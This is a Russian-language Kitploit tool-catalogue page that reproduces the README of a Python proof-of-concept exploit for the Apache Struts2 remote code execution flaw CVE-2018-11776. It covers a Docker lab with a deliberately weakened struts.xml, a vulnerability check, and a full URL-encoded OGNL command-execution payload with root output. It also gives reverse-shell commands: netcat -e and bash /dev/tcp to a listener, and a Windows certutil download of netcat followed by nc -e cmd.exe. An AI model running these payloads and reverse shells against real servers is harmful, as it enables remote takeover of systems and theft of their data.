Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

рабочий тест на Python и PoC для CVE-2018-11776, включает Docker-лабораторию

Репозиторий
1234938 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c в twitter

Рабочий тест и PoC на Python для CVE-2018-11776, изначально опубликовано на; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

Что происходит?

Man Yue Mo из Semmle раскрыл уязвимость RCE в Struts2, которая доставляется в полезной нагрузке, закодированной в пути URL запроса.

Затронутые версии: 2.3 до 2.3.34 и 2.5 до 2.5.16.

Конфигурация по умолчанию не уязвима, но если настроена неправильно... F.

Настройка экземпляра Docker

эксплойт будет работать нормально с контейнером Docker, созданным для cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Настройка ослабленной конфигурации

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

добавьте конфигурацию ниже;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

а также;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

перезапустите ваш tomcat и/или контейнер

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Проверьте, уязвима ли цель

протестируйте URL, чтобы увидеть, происходит ли перенаправление и вычисление;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

с помощью тестового скрипта;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Выполнение команд PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Обратная оболочка

подготовьте вашу машину к приему обратной оболочки;

root@kitploit:~
$ netcat -lvp 31337

запустите скрипт;

root@kitploit:~
# вам нужно установить netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# теперь запустите эту оболочку 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

замените 32771 на порт вашего открытого контейнера

Обновленный метод через Bash, теперь поддерживаются прямые слеши.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Обратная оболочка для Windows (не тестировалась)

root@kitploit:~
# возьмите бинарник netcat
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# выполните
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Ад отладки (заметки)

Все запросы с прямым слешем (/) будут неудачными, потому что Tomcat активно их блокирует; возможно, вам придется обойти это, например, используя переменные окружения для /bin/bash как $SHELL в примере выше.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Учитывая это, флаг /c для Windows не будет работать, как ожидалось. Я тестировал это только на Docker-контейнере.

Обновление

Спасибо @Menin_TheMiddle за то, что показал, что проблема с прямым слешем решаема; код теперь поддерживает прямые слеши, поэтому теперь возможна обратная оболочка без netcat через bash, а также теперь поддерживаются экземпляры Windows (не тестировалось).

Меры защиты

Обновите Struts или просто не используйте его.

Полагаю, вы всегда можете продавать продукты для защиты от кражи личных данных, если у вас произошла утечка и все данные клиентов были скомпрометированы! (вы знаете, кто вы, абсолютные отбросы)

Благодарности

Спасибо;

  • Man Yue Mo, Semmle за раскрытие уязвимости (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity за Dockerfile лабораторию и пример OGNL полезной нагрузки (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x за статью о методе (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 за тест (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle за статью (https://www.secjuice.com/apache-struts2-cve-2018-11776/) и за то, что поставил меня на место :) код теперь наконец-то поддерживает Windows и обратную оболочку bash

Приветствия

крик vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Скачать инструмент